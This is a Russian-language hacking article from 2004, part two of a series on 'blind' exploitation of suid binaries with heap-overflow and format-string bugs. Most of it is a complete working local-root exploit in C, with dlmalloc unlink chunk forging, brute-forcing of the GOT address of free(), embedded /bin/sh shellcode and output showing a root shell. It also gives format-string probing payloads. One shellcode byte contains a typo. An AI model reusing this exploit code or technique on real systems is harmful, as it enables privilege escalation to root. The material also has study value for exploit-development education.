01.09.2004

Эксплуатация уязвимостей вслепую, часть 2.

В первой части статьи мы с вами поговорили о том, как эксплуатировать переполнение стека в неизвестном нам suid-ном бинарнике. Но, как говорится, не стеком единым жив человек (с). И во второй части статьи я хочу рассказать о том, как можно вслепую эксплуатировать уязвимости переполнения кучи и формат-строки. Для, того, чтобы понять весь нижеследующий материал, желательно прочитать первую часть статьи, на которую я буду периодически ссылаться, дабы не повторять по десять раз единожды написанное.
6953 просмотра за 1 неделю

Эксплуатация уязвимостей вслепую, часть 2.

hr0nix|darkwired

25.08.2004

В первой части статьи мы с вами поговорили о том, как эксплуатировать переполнение стека в неизвестном нам suid-ном бинарнике. Но, как говорится, не стеком единым жив человек (с). И во второй части статьи я хочу рассказать о том, как можно вслепую эксплуатировать уязвимости переполнения кучи и формат-строки. Для, того, чтобы понять весь нижеследующий материал, желательно прочитать первую часть статьи, на которую я буду периодически ссылаться, дабы не повторять по десять раз единожды написанное.

Итак, содержание второй части:

  1. Покорение кучи.

1.1 Анализируем структуру уязвимой кучи.

1.2 Ищем адрес для перезаписи.

1.3 Нюансы с шеллкодом и его адресом.

1.4 Общий вид эксплойта.

  1. Атаки форматируемых строк.
  2. Переполнение стека форматируемыми строками.

1. Покорение кучи.

Чтобы не быть голословным, я с самого начала дам вам объект для дьявольских экспериментов:

 
[root@id: ~/work/exploits/4development/4papers]# cat vuln2.c
#include <stdio.h>
#define BUFSIZE 13

int main(int argc, char * argv[])
{
    char * argvbuf = (char *) malloc(BUFSIZE);
    char * databuf = (char *) malloc(BUFSIZE);

    if (argc != 2)
    {
        printf("Usage: %s <data>\n",argv[0]);
        return(1);
    }

    memset(databuf,'A',BUFSIZE-1);
    databuf[BUFSIZE-1]=0x0;
    sprintf(argvbuf,"%s",argv[1]);
    printf("Your data is %s and our data is %s\n",argvbuf,databuf);

    free(argvbuf);
    free(databuf);
    return(0);
}
[root@id: ~/work/exploits/4development/4papers]# gcc -o vuln2 vuln2.c
[root@id: ~/work/exploits/4development/4papers]# chmod +s vuln2
[root@id: ~/work/exploits/4development/4papers]# rm -f vuln2.c
[root@id: ~/work/exploits/4development/4papers]# ls -l
итого 40
-rws--s--x    1 root     root         5446 Авг 24 10:55 vuln2
 [root@id: ~/work/exploits/4development/4papers]#

Объект надругательств у нас есть, осталось напомнить условия:

1) У нас НЕТ исходного кода, так что в начало раздела подглядывать не рекомендуется.

2) Мы ограничены правами аккаунта с головы до пят:

[root@id: ~/work/exploits/4development/4papers]# su nobody
[nobody@id: /root/work/exploits/4development/4papers]$ id
uid=65534(nobody) gid=65534(nogroup) группы=65534(nogroup)
[nobody@id: /root/work/exploits/4development/4papers]$

Итак, приступим. Мы нашли уязвимый бинарник и заметили в нем немного странную реакцию на размер первого аргумента:

 [nobody@id: /root/work/exploits/4development/4papers]$ ./vuln2 `perl -e 'print "B"x10'`
Your data is BBBBBBBBBB and our data is AAAAAAAAAAAA
[nobody@id: /root/work/exploits/4development/4papers]$ ./vuln2 `perl -e 'print "B"x100'`

Your data is BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB and our data is BBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Segmentation fault
[nobody@id: /root/work/exploits/4development/4papers]$
 

Мы видим, что, вводя большие по длине параметры в программу, мы переписываем в ней какой-то внутренний массив, да еще и вызываем нарушение функционирования программы. Тут есть два варианта – это два стековых массива либо две области памяти в куче. Мы точно не уверены, но какое то шестое чувство подсказывает нам, что это вариант номер два. Что ж, попробуем получить через эту уязвимость шелл.

Да, чуть не забыл. Подразумевается, что мы работаем на UNIX-системе, которая выделяет память в куче по Doug Lea’s Malloc (например, Linux).

Давайте вспомним, какая информация нам нужна, чтобы эксплуатировать переполнение кучи:

1) Размер переполняемой области памяти, т.к. необходимо точно знать, куда записать поддельную информацию о чанках.

2) При переполнении хипа (в отличии от стека), мы перезаписываем не адрес, отстоящий на определенном расстоянии от уязвимого адреса, а произвольный. Это имеет свои преимущества и недостатки. Из преимуществ – практически полная свобода действий. А из недостатков – нужно ТОЧНО знать, какой именно адрес мы хотим переписать.

3) Ну и, конечно, адрес нашего шеллкода в памяти (в стеке или хипе, смотря куда положим). Куда лучше положить шеллкод, обсудим в соответствующем разделе.

1.1 Анализируем структуру уязвимой кучи.

Итак, нам надо посчитать расстояние от начала уязвимого буфера до начала перезаписываемого. Для нашей уязвимой программы – нет ничего проще. Всего-то и нужно, что подобрать такой размер аргумента N, что при вводе N+1 символов в программу первый (и только первый) символ буфера перезаписывается, а при N – нет:

 [nobody@id: /root/work/exploits/4development/4papers]$ ./vuln2 `perl -e 'print "B"x16'`
Your data is BBBBBBBBBBBBBBBB and our data is AAAAAAAAAAAA
[nobody@id: /root/work/exploits/4development/4papers]$ ./vuln2 `perl -e 'print "B"x22'`
Your data is BBBBBBBBBBBBBBBBBBBBBB and our data is AAAAAAAAAAAA
Segmentation fault
[nobody@id: /root/work/exploits/4development/4papers]$ ./vuln2 `perl -e 'print "B"x28'`
Your data is BBBBBBBBBBBBBBBBBBBBBBBBBBBB and our data is BBBB
Segmentation fault
[nobody@id: /root/work/exploits/4development/4papers]$ ./vuln2 `perl -e 'print "B"x25'`
Your data is BBBBBBBBBBBBBBBBBBBBBBBBB and our data is B
Segmentation fault
[nobody@id: /root/work/exploits/4development/4papers]$ ./vuln2 `perl -e 'print "B"x24'`
Your data is BBBBBBBBBBBBBBBBBBBBBBBB and our data is
Segmentation fault
[nobody@id: /root/work/exploits/4development/4papers]$
 

Итак, это значит, что информацию поддельную информацию о чанке нужно начинать писать с 17 байта нашего буфера. Вот как выглядит память в куче, начиная с первого буфера:

        User data (16 bytes)          Tags               User data
|--------------------------|-----------------|----------------------------|
[          1 chunk        ] [                  2 chunk                    ]
|                          |                 |
1                          17                25  

Другое дело, что уязвимая программа может не оказывать нам любезности в предоставлении полной информации о данных в куче. Но тут нам на помощи приходит интересная особенность работы функции malloc(). Эта функция никогда не выделяет ровно столько байт, сколько ее просят. В ней существуют определенные диапазоны значений размера выделяемой памяти, для которых выделяется куски одинакового размера (а “лишняя” память используется для записи служебной информации). Чтобы легче понять, о чем я говорю, этот процесс можно проиллюстрировать такой вот маленькой программкой (tnx goes to Limpid Byte):

[root@id: ~/work/exploits/4development/4papers]# cat test.c
main(int argc, char **argv) {
    char *a,*b;
    a = (char *) malloc(atoi(argv[1]));
    b = (char *) malloc(atoi(argv[2]));
    printf("a=%p, b=%p, b-a=0x%x\n",a,b,b-a);
    free(a);
    free(b);
}
[root@id: ~/work/exploits/4development/4papers]# gcc -o test test.c
[root@id: ~/work/exploits/4development/4papers]# ./test 10 10
a=0x80496d8, b=0x80496e8, b-a=0x10
[root@id: ~/work/exploits/4development/4papers]# ./test 13 10
a=0x80496d8, b=0x80496f0, b-a=0x18
[root@id: ~/work/exploits/4development/4papers]# ./test 16 10
a=0x80496d8, b=0x80496f0, b-a=0x18
[root@id: ~/work/exploits/4development/4papers]# ./test 20 10
a=0x80496d8, b=0x80496f0, b-a=0x18
[root@id: ~/work/exploits/4development/4papers]# ./test 22 10
a=0x80496d8, b=0x80496f8, b-a=0x20
[root@id: ~/work/exploits/4development/4papers]#

Программа выделяет два куска памяти заданных размеров и показывает реальное расстояние между началом первого и началом второго. Что это дает нам? Достаточно просто найти минимальную длину аргумента, для которой(го) уязвимая программа получает SIGSEGV (тег задели). Для нашей уязвимой программы это 20, т.е. в 20 байте содержится какой-то тег второго чанка. Рассмотрим следующую таблицу зависимости кол-ва выделяемых байтов от количества запрашиваемых (вы сами можете составить подобную таблицу, воспользовавшись предыдущей программой):

Байт запрошено:

Байт выделено:

0-12

0x10 = 16

13-20

0x18 = 24

21 - 28

0x20 = 32

29 - 36

0x28 = 40

Учитывая тот факт, что теги начинаются с последних восьми байт реально выделенного куска памяти (т.к. длина выделенного куска – это расстояние между началами непосредственно областей пользовательской памяти чанков), то для того, чтобы в 20 байте присутствовал тег, необходимо, чтобы общий размер выделенного куска памяти был равен 0x18=24 байта.

Итак, расстояние от начала буфера до тегов чанка нам известно, двигаемся дальше.

1.2 Ищем адрес для перезаписи.

Напоминаю, что для того, чтобы успешно эксплуатировать переполнение кучи, нам необходимо знать адрес функции free() в Global Offset Table (GOT), который мы подменим на адрес нашего шеллкода. Тут возникает небольшая проблемка: как узнать этот адрес в нашей программе?

Самый простой выход - воспользоваться программой objdump. Для этого необходимо, чтобы мы имели права на чтение (а не только на выполнение) уязвимой программы, и, в общем-то, наличие самого objdump. Если первое – довольно частый случай (но, увы, не наш, посмотрите выше вывод команды ls), то вот второе далеко не всегда имеет место быть. Если objdump есть на атакуемом боксе и можно читать программу, то:

[nobody@id: /root/work/exploits/4development/4papers]$ objdump -R vuln2 | grep free
0804976c R_386_JUMP_SLOT   free
[nobody@id: /root/work/exploits/4development/4papers]$

Мы видим, что адрес интересующей нас функции в GOT равен 0x0804976c. Но что, если objdump-а нет? Тогда, если мы все же имеем права на чтение уязвимого файла, можно попробовать разобраться в нем вручную или написать скрипт (а может, есть и готовые), который найдет нужный адрес за вас. Однако этот метод потребует от вас недюжинных познаний в ELF-архитектуре.

И, наконец, последний метод – подобрать адрес. Знаю, это звучит глупо. Особенно, учитывая тот факт, что адрес лежит где-то в адресном пространстве 0x080xxxxx. То есть необходимо будет перебрать 0xfffff вариантов, что равно 1048575. Довольно много, не находите ли? Впрочем, есть одно НО: адрес функции free() в GOT напрямую зависит только от количества различных библиотечных функций, используемых в программе. Никакой строгой зависимости тут не существует, но у маленьких бинарников чаще всего можно найти этот адрес в пространстве памяти 0x08049xxx. То есть перебирать придется в 256 раз меньше, что не может не радовать.

Остается последняя проблема – перезапись неверного адреса в GOT далеко не всегда завершится с SIGSEGV, ведь мы можем перезаписать адрес функции, которая уже не будет вызываться после перезаписи (или просто какой-нибудь мусор). Я предлагаю следующее решение этой проблемы, чтобы узнать был ли запущен наш шеллкод: добавим в начало шеллкода создание файла “/tmp/exploited” и запись туда строки какой-нибудь строки (например, “_darkwired_0wnz_you” :) ). Тогда мы при переборе всегда сможем узнать, запустился наш шеллкод, или нужно продолжать перебор дальше.

Что ж, вам остается только выбрать метод, который наиболее подходит в вашей ситуации.

1.3 Нюансы с шеллкодом и его адресом

Все, что было написано по поводу выбора шеллкода в первой части статьи – остается в силе. Но в случае переполнения кучи возникают определенные нюансы. Первый – при выполнении макроса unlink() по адресу шеллкода + 8 будет записан адрес перезаписываемой функции. Следовательно, необходимо добавить в начало шеллкода прыжок на 12 байт вперед, дабы выполнению ничего не помешало.

Так же необходимо решить, куда мы положим наш шеллкод. В принципе, можно положить его прямо в кучу до (или после) перезаписываемых данных. Но тогда придется искать его в памяти, а, учитывая большие размеры кучи, подобный перебор может занять много времени. Так что предпочтительнее положить шеллкод как переменную окружения или как один из аргументов программы. Так как в предыдущей части статьи вы уже узнали, как реализуется перебор адреса шеллкода, в этот раз мы будем использовать точный метод определения адреса.

Что касательно перебора адреса функции free() в GOT (упомянутого в предыдущем разделе) – вот отрывок шеллкода, который мы будем использовать для определения, угадали ли мы адрес функции:

char shellcode[] =
        "\x6a\x41\x59\x68\x65\x64\x5f\x5f\x68"
        "\x6c\x6f\x69\x74\x68\x2f\x65\x78\x70"
        "\x68\x2f\x74\x6d\x70\x31\xc0\x88\x44"
        "\x24\x0e\x89\xe3\x6a\x05\x58\xcd\x80"
        "\x6a\x14\x5a\x68\x79\x6f\x75\x5f\x68"
        "\x77\x6e\x7a\x5f\x68\x65\x64\x5f\x30"
        "\x68\x6b\x77\x69\x72\x68\x5f\x64\x61"
        "\x72\x89\xe1\x50\x89\xc3\x6a\x04\x58"
        "\xcd\x80\x5b\x6a\x06\x58\xcd\x80";

Получилось не очень компактно, ну да ладно, главное – результат, а тот, кому это нужно, может сам сократить код. Кстати, относительно результата. Этот шеллкод создает файл /tmp/exploited и записывает туда строку “_darkwired_0wnz_you_”. Соответственно, все что нам нужно - каждый раз после запуска уязвимой программы с очередным адресом функции free() в случае нормального (без SIGSEGV и SIGILL) выхода программы проверять наличие этого файла и содержание в нем соответствующей строки.

1.4 Общий вид эксплойта.

Итак, вот что должен уметь наш эксплойт для таинственного бинарника “./vuln2”:

  1. Так как мы не знаем адреса функции free(), эксплойт должен подобрать его. Учитывая небольшие размеры уязвимой программы, начинать следует с 0x08049000.
  2. Шеллкод положим в переменную окружения (предположим, в этот раз нам этого не запрещают). Соответственно, адрес шеллкода – 0xc0000000 - 4 - strlen(“./vuln2”) – strlen(shellcode) - 2.
  3. Т.к. переполняемая область памяти имеет размер 24 байта, поддельную информацию о чанках следует писать, начиная с 17 байта первого аргумента уязвимой программы.
  4. Нам нужен модернизированный шеллкод, который кроме всего прочего а) будет с самого начала передавать управление на 12 байт вперед б) будет создавать файл для проверки корректного выполнения (см. выше).

Ну что ж, имея некоторый опыт написания эксплойтов для уязвимостей переполнения кучи, можно без труда все это реализовать. Вот мой вариант:

[nobody@id: /root/work/exploits/4development/4papers]$ cat vuln2_expl.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>

#define VULN "./vuln2"
#define DUMMY 0x44434241
#define PREV_INUSE 0x1
#define OFFSET 1

char shellcode[] =
        /* the jump instruction */
        "\xeb\x0a_darkwired"
        /* my /tmp/exploited creator */
        "\x6a\x41\x59\x68\x65\x64\x5f\x5f\x68"
        "\x6c\x6f\x69\x74\x68\x2f\x65\cx78\x70"
        "\x68\x2f\x74\x6d\x70\x31\xc0\x88\x44"
        "\x24\x0e\x89\xe3\x6a\x05\x58\xcd\x80"
        "\x6a\x14\x5a\x68\x79\x6f\x75\x5f\x68"
        "\x77\x6e\x7a\x5f\x68\x65\x64\x5f\x30"
        "\x68\x6b\x77\x69\x72\x68\x5f\x64\x61"
        "\x72\x89\xe1\x50\x89\xc3\x6a\x04\x58"
        "\xcd\x80\x5b\x6a\x06\x58\xcd\x80"
        /* the Aleph One shellcode */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char * argv[])
{
        char * p;
        char av1[36], fromfile[36];
        char * av[] = { VULN, av1, NULL };
        char * ev[2];
        char * egg = (char *) malloc(strlen(shellcode)+5);
        int i, status;
        pid_t pid;
        FILE * f;

        unsigned long got, ret;

printf("\n[~] Starting hr0nix|darkwired \"./vuln2\" 
			local root heap-overflow exploit\n\n");

        if (argc !=2)
        {
            printf("Usage: %s <start_free> e.g. %s 0x08049000\n",argv[0],argv[0]);
            exit(1);
        }

        // Начальное значение для перебора
        if ((argv[1][0] == '0') && ((argv[1][1] == 'x') || (argv[1][1] == 'X')))
            sscanf(argv[1],"%p",&got);
        else
            sscanf(argv[1],"%d",&got);

        // Вычисляем адрес нашего шеллкода в памяти
        ret = 0xc0000000 - 4 - strlen(VULN) - strlen(shellcode) - 2;
        // И подготавливаем массив переменных окружения
        sprintf(egg,"EGG=%s",shellcode);
        ev[0] = egg;
        ev[1] = NULL;

        for (i = 0; i < 0xffff; i++)
        {

            printf("[~] Trying free() address %p\n",got);

            // Стандартная подготовка поддельных тегов

            p = av1;
            *((void **)p) = (void *)(DUMMY);
            p += 4;
            *((void **)p) = (void *)(DUMMY);
            p += 4;
            memset(p,'A',8);
            p += 8;
            *((size_t *)p) = (size_t)(DUMMY & ~PREV_INUSE);
            p += 4;
            *((size_t *)p) = (size_t)(-4);
            p += 4;
            *((void **)p) = (void *)(got - 12);  // Кладем очередной адрес функции
            p += 4;
            *((void **)p) = (void *)(ret);       // И адрес нашего шеллкода
            p += 4;
            *p = '\0';

            if ((pid = fork()) == 0) // Дочерний процесс
            {
                //запускаем в очередой раз нашу программу
                execve(av[0], av, ev);
            }


            // Ждем код завершения потомка
            wait(&status);

            if (WIFEXITED(status) != 0) // Программа завершилась нормально
// Проверяем существование файла /tmp/exploited и наличие в нем необходимых данных
                if ((f = fopen("/tmp/exploited","r")) != NULL)
                {
                    fscanf(f,"%s",fromfile);
                    if (strcmp(fromfile,"_darkwired_0wnz_you_") == 0)
                    {
                 printf("[!] free() address %p is correct. Exiting...\n",got);
                        return(0);
                    }
                }

            got += OFFSET;
        }
        printf("[!] Sorry, brute limit exceeded. Exiting...\n");
        return(0);
}

Компилируем на каком-нибудь боксе с такой же архитектурой процессора и операционной системой, как и на уязвимой машине. Копируем на подопытную систему и запускаем:

[~] Starting hr0nix|darkwired "./vuln2" local root heap-overflow exploit

Usage: ./vuln2_expl <start_free> e.g.   ./vuln2_expl 0x08049000
[nobody@id: /root/work/exploits/4development/4papers]$ ./vuln2_expl 0x08049000

[~] Starting hr0nix|darkwired "./vuln2" local root heap-overflow exploit

[~] Trying free() address 0x8049000
Your data is ABCDABCDAAAAAAAA@BCDЭЪЪЪDjЪЪ© and our data is DjЪЪ©
[~] Trying free() address 0x8049001
...
[~] Trying free() address 0x804976c
Your data is ABCDABCDAAAAAAAA@BCDЭЪЪЪ`jЪЪ© and our data is `jЪЪ©
sh-2.05a# id
uid=65534(nobody) gid=65534(nogroup) euid=0(root) egid=0(root) groups=65534(nogroup)
sh-2.05a# exit
exit
[!] free() address 0x804976c is correct. Exiting...
[nobody@id: /root/work/exploits/4development/4papers]$

На моей машине (AMD Athlon XP 1400 mhz) перебор занял 40 секунд. Не так уж и много, а? Ну что ж, еще один got r00t. Согласитесь, это было совсем не сложно. Нужно только уметь анализировать и искать нестандартные подходы к проблеме. Теперь остается только рассмотреть схожие проблемы при эксплуатации форматируемых строк.

2. Атаки форматируемых строк.

Осталось коснуться последней незатронутой темы – атаки вышеупомянутых строк. В принципе, техника поиска необходимой информации для них сильно напоминает подобную для кучи: мы перезаписываем не какой-то относительный адрес (как в случае переполнения стека), а абсолютный, и, соответственно, нам необходимо его узнать. Другое дело, что при подобном виде атак мы уже не ограничены необходимостью переписывать адрес функции free() (в отличие от переполнений кучи), а можем изменять любую ячейку адресного пространства программы, достаточно знать ее адрес.

В принципе, для нахождения перезаписываемого адреса можно использовать технику, упомянутую в пункте 1.2. Но в то же время, если результат форматирования уязвимой строки выводится на экран, то мы можем изучить структуру стека программы, и, возможно, найти в нем какие-нибудь адреса функций, которые можно будет переписать своим.

Так же необходимо знать значение отступа от верхнего элемента в стеке до начала передаваемой в программу формат-строки (это необходимо, чтобы точно указать, какой адрес будет перезаписан) в процессорных словах (32-битных числах на x86). По сути эта величина равна (<адрес_формат_строки_в_стеке> - <адрес_верхнего_элемента стека>) / 4. Конкретное значение этой величины, вы имеете доступ к результату форматирования, узнать очень просто. Рассмотрим следующую уязвимую программу:

[root@id: ~/work/exploits/4development/4papers]# cat vuln3.c
#include <stdio.h>

int main(int argc, char * argv[])
{
        char buf[100];

        snprintf(buf,sizeof(buf)-1,argv[1]);
        printf("Your input is: %s\n",buf);
        return(0);
}

Посмотрим, действительно ли она уязвима:

 [root@id: ~/work/exploits/4development/4papers]# ./vuln3 %p%p%p%p
Your input is: 0x1(nil)0x400216880x4010f0ed
[root@id: ~/work/exploits/4development/4papers]#
 

Мы видим, что программа выдала нам распечатку четырех верхних элементов стека в шестнадцатеричной форме. Теперь найдем вышеупомянутый отступ:

[root@id: ~/work/exploits/4development/4papers]# ./vuln3 AAAA\%1\$x
Your input is: AAAA1
[root@id: ~/work/exploits/4development/4papers]# ./vuln3 AAAA\%2\$x
Your input is: AAAA0
[root@id: ~/work/exploits/4development/4papers]# ./vuln3 AAAA\%3\$x
Your input is: AAAA40021688
[root@id: ~/work/exploits/4development/4papers]# ./vuln3 AAAA\%4\$x
Your input is: AAAA4010f0ed
[root@id: ~/work/exploits/4development/4papers]# ./vuln3 AAAA\%5\$x
Your input is: AAAA4012ee48
[root@id: ~/work/exploits/4development/4papers]# ./vuln3 AAAA\%6\$x
Your input is: AAAA400135cc
[root@id: ~/work/exploits/4development/4papers]# ./vuln3 AAAA\%7\$x
Your input is: AAAA41414141
[root@id: ~/work/exploits/4development/4papers]#

Мы видим, что HEX-значение 7-го вверх аргумента стека равно 0x41414141, а 41 – это код заглавной латинской A. Таким образом, 7-ой аргумент стека есть ни что иное, как наш буфер.

В остальном - никаких изменений по сравнению с техникой эксплуатации переполнений кучи, за исключением шеллкода, который больше не нуждается в прыжке на 12 байт вперед или создании каких-либо файлов.

3. Переполнение стека форматируемыми строками.

Существует возможность того, что программа с уязвимостью форматируемой строки не доносит результат форматирования до пользователя, ее запустившего. Но как в этом случае узнать, что программа вообще уязвима, спросите вы? Рассмотрим нижеследующую программу:

[root@id: ~/work/exploits/4development/4papers]# cat vuln4.c
#include <stdio.h>

int main(int argc, char * argv[])
{
    char buf[100];
    if ((argc != 2) || (strlen(argv[1]) > 99))
    {
        printf("Internal program error!\n");
        return(1);
    }
    sprintf(buf,argv[1]);
    printf("Successful!\n");
    return(0);
}
[root@id: ~/work/exploits/4development/4papers]# gcc -o vuln4 vuln4.c
[root@id: ~/work/exploits/4development/4papers]# ./vuln4
Internal program error!
[root@id: ~/work/exploits/4development/4papers]# ./vuln4 AAA
Successful!
[root@id: ~/work/exploits/4development/4papers]# ./vuln4 `perl -e 'print "A"x200'`
Internal program error!
[root@id: ~/work/exploits/4development/4papers]# ./vuln4 %.200x
Successful!
Segmentation fault
[root@id: ~/work/exploits/4development/4papers]#

Что же произошло? Спецификатор “%.200x” выводит в результирующую переменную (buf) 200 байт, сам при этом занимая 6. Соответственно, buf переполняется и затираются сохраненные в стеке регистры, вследствие чего при обращении к неинициализированной области памяти возникает SIGSEGV. Ну а дальше дело техники, о которой подробно было рассказано в первой части статьи.

На этом все. Мы с вами обсудили классические методы эксплуатации уязвимостей «вслепую» и нашли решения некоторых возникающих при этом проблем. Конечно, что-то осталось за бортом, но даже две статьи не в силах охватить столь обширную тему. Если что-то осталось непонятным, пишите на hr0nix[at]front[dot]ru, и я помогу вам разобраться.

Greetz to darkwired (dodo, tsunami, psy, Drak), d4rkgr3y|m00, [poly], InDecision(sdx, xmr, t0ga, CrazySaint).

Special greetz to Geist за талант переводчика, virusman за бета-тест.

Учебный центр "Информзащита" http://www.itsecurity.ru - ведущий специализированный центр в области обучения информационной безопасности (Лицензия Московского Комитета образования № 015470, Государственная аккредитация № 004251). Единственный авторизованный учебный центр компаний Internet Security Systems и Clearswift на территории России и стран СНГ. Авторизованный учебный центр компании Microsoft (специализация Security). Программы обучения согласованы с Гостехкомиссией России, ФСБ (ФАПСИ). Свидетельства об обучении и государственные документы о повышении квалификации.

Компания SoftKey это уникальный сервис для покупателей, разработчиков, дилеров и аффилиат–партнеров. Кроме того, это один из лучших Интернет-магазинов ПО в России, Украине, Казахстане, который предлагает покупателям широкий ассортимент, множество способов оплаты, оперативную (часто мгновенную) обработку заказа, отслеживание процесса выполнения заказа в персональном разделе, различные скидки от магазина и производителей ПО.

или введите имя

CAPTCHA